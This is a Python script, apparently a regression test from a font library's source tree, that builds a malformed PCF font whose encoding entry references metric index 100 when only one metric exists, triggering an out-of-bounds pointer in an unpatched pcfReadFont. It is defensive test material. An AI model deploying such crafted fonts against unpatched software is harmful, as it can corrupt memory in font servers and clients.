Home | History | Annotate | Line # | Download | only in test
      1  1.1  mrg #!/usr/bin/env python3
      2  1.1  mrg """
      3  1.1  mrg Generate a malicious PCF font with an out-of-bounds encoding offset.
      4  1.1  mrg 
      5  1.1  mrg The font has 1 metric but the encoding table references metric index
      6  1.1  mrg 100, far past the metrics array.  Without the fix, pcfReadFont stores
      7  1.1  mrg a wild pointer (metrics + 100) in the encoding table.
      8  1.1  mrg 
      9  1.1  mrg Based on gen_evil_pcf_repad.py structure for a known-good PCF layout.
     10  1.1  mrg 
     11  1.1  mrg Usage:
     12  1.1  mrg     python3 gen_evil_pcf_encoding.py <output_dir>
     13  1.1  mrg """
     14  1.1  mrg 
     15  1.1  mrg import struct
     16  1.1  mrg import sys
     17  1.1  mrg import os
     18  1.1  mrg 
     19  1.1  mrg PCF_DEFAULT_FORMAT = 0x00000000
     20  1.1  mrg PCF_PROPERTIES = 1
     21  1.1  mrg PCF_ACCELERATORS = 2
     22  1.1  mrg PCF_METRICS = 4
     23  1.1  mrg PCF_BITMAPS = 8
     24  1.1  mrg PCF_BDF_ENCODINGS = 32
     25  1.1  mrg 
     26  1.1  mrg 
     27  1.1  mrg def u32(x):
     28  1.1  mrg     return struct.pack("<I", x & 0xFFFFFFFF)
     29  1.1  mrg 
     30  1.1  mrg 
     31  1.1  mrg def i32(x):
     32  1.1  mrg     return struct.pack("<i", x)
     33  1.1  mrg 
     34  1.1  mrg 
     35  1.1  mrg def u16(x):
     36  1.1  mrg     return struct.pack("<H", x & 0xFFFF)
     37  1.1  mrg 
     38  1.1  mrg 
     39  1.1  mrg def i16(x):
     40  1.1  mrg     return struct.pack("<h", x)
     41  1.1  mrg 
     42  1.1  mrg 
     43  1.1  mrg def u8(x):
     44  1.1  mrg     return struct.pack("<B", x & 0xFF)
     45  1.1  mrg 
     46  1.1  mrg 
     47  1.1  mrg def xCharInfo(lsb, rsb, cw, asc, desc, attr):
     48  1.1  mrg     return i16(lsb) + i16(rsb) + i16(cw) + i16(asc) + i16(desc) + u16(attr)
     49  1.1  mrg 
     50  1.1  mrg 
     51  1.1  mrg # Glyph: 8x10
     52  1.1  mrg LSB, RSB = 0, 8
     53  1.1  mrg ASCENT, DESCENT = 8, 2
     54  1.1  mrg CHAR_WIDTH = 8
     55  1.1  mrg 
     56  1.1  mrg # Bitmap: pad=1, 1 byte/row * 10 rows = 10 bytes
     57  1.1  mrg BITMAP_DATA_SIZE = 10
     58  1.1  mrg BITMAP_SIZES = [BITMAP_DATA_SIZE, 20, 40, 80]
     59  1.1  mrg 
     60  1.1  mrg # --- PROPERTIES (same as repad test) ---
     61  1.1  mrg properties = b""
     62  1.1  mrg properties += u32(PCF_DEFAULT_FORMAT)
     63  1.1  mrg properties += i32(1)
     64  1.1  mrg properties += i32(0)
     65  1.1  mrg properties += u8(0)
     66  1.1  mrg properties += i32(0)
     67  1.1  mrg properties += b"\x00" * 3
     68  1.1  mrg properties += i32(1)
     69  1.1  mrg properties += b"\x00"
     70  1.1  mrg 
     71  1.1  mrg # --- ACCELERATORS ---
     72  1.1  mrg accel = b""
     73  1.1  mrg accel += u32(PCF_DEFAULT_FORMAT)
     74  1.1  mrg accel += u8(0) * 8
     75  1.1  mrg accel += i32(ASCENT)
     76  1.1  mrg accel += i32(DESCENT)
     77  1.1  mrg accel += i32(0)
     78  1.1  mrg accel += xCharInfo(0, 0, 0, 0, 0, 0)
     79  1.1  mrg accel += xCharInfo(LSB, RSB, CHAR_WIDTH, ASCENT, DESCENT, 0)
     80  1.1  mrg 
     81  1.1  mrg # --- METRICS (1 glyph) ---
     82  1.1  mrg metrics = b""
     83  1.1  mrg metrics += u32(PCF_DEFAULT_FORMAT)
     84  1.1  mrg metrics += i32(1)  # nmetrics = 1
     85  1.1  mrg metrics += xCharInfo(LSB, RSB, CHAR_WIDTH, ASCENT, DESCENT, 0)
     86  1.1  mrg 
     87  1.1  mrg # --- BITMAPS ---
     88  1.1  mrg bitmaps = b""
     89  1.1  mrg bitmaps += u32(PCF_DEFAULT_FORMAT)
     90  1.1  mrg bitmaps += i32(1)  # nbitmaps = 1
     91  1.1  mrg bitmaps += u32(0)  # offset[0] = 0
     92  1.1  mrg for sz in BITMAP_SIZES:
     93  1.1  mrg     bitmaps += u32(sz)
     94  1.1  mrg bitmaps += b"\xaa" * BITMAP_DATA_SIZE
     95  1.1  mrg 
     96  1.1  mrg # --- BDF_ENCODINGS ---
     97  1.1  mrg # EVIL: encoding offset 100, but nmetrics is only 1
     98  1.1  mrg EVIL_OFFSET = 100
     99  1.1  mrg encodings = b""
    100  1.1  mrg encodings += u32(PCF_DEFAULT_FORMAT)
    101  1.1  mrg encodings += u16(0) + u16(0)  # firstCol, lastCol
    102  1.1  mrg encodings += u16(0) + u16(0)  # firstRow, lastRow
    103  1.1  mrg encodings += u16(0)  # defaultCh
    104  1.1  mrg encodings += u16(EVIL_OFFSET)  # encoding[0] -> metric[100] OOB!
    105  1.1  mrg 
    106  1.1  mrg # --- Assemble ---
    107  1.1  mrg TABLE_COUNT = 5
    108  1.1  mrg BODY_START = 8 + TABLE_COUNT * 16
    109  1.1  mrg 
    110  1.1  mrg properties_off = BODY_START
    111  1.1  mrg accel_off = properties_off + len(properties)
    112  1.1  mrg metrics_off = accel_off + len(accel)
    113  1.1  mrg bitmaps_off = metrics_off + len(metrics)
    114  1.1  mrg encodings_off = bitmaps_off + len(bitmaps)
    115  1.1  mrg 
    116  1.1  mrg 
    117  1.1  mrg def toc(type_, format_, size, offset):
    118  1.1  mrg     return u32(type_) + u32(format_) + u32(size) + u32(offset)
    119  1.1  mrg 
    120  1.1  mrg 
    121  1.1  mrg out = b"\x01fcp" + u32(TABLE_COUNT)
    122  1.1  mrg out += toc(PCF_PROPERTIES, 0, len(properties), properties_off)
    123  1.1  mrg out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off)
    124  1.1  mrg out += toc(PCF_METRICS, 0, len(metrics), metrics_off)
    125  1.1  mrg out += toc(PCF_BITMAPS, 0, len(bitmaps), bitmaps_off)
    126  1.1  mrg out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off)
    127  1.1  mrg out += properties + accel + metrics + bitmaps + encodings
    128  1.1  mrg 
    129  1.1  mrg output_dir = sys.argv[1] if len(sys.argv) > 1 else "."
    130  1.1  mrg os.makedirs(output_dir, exist_ok=True)
    131  1.1  mrg 
    132  1.1  mrg pcf_name = "evil-encoding.pcf"
    133  1.1  mrg xlfd = "-evil-encoding-medium-r-normal--10-100-75-75-c-80-iso10646-1"
    134  1.1  mrg 
    135  1.1  mrg with open(os.path.join(output_dir, pcf_name), "wb") as f:
    136  1.1  mrg     f.write(out)
    137  1.1  mrg 
    138  1.1  mrg with open(os.path.join(output_dir, "fonts.dir"), "w") as f:
    139  1.1  mrg     f.write("1\n")
    140  1.1  mrg     f.write(f"{pcf_name} {xlfd}\n")
    141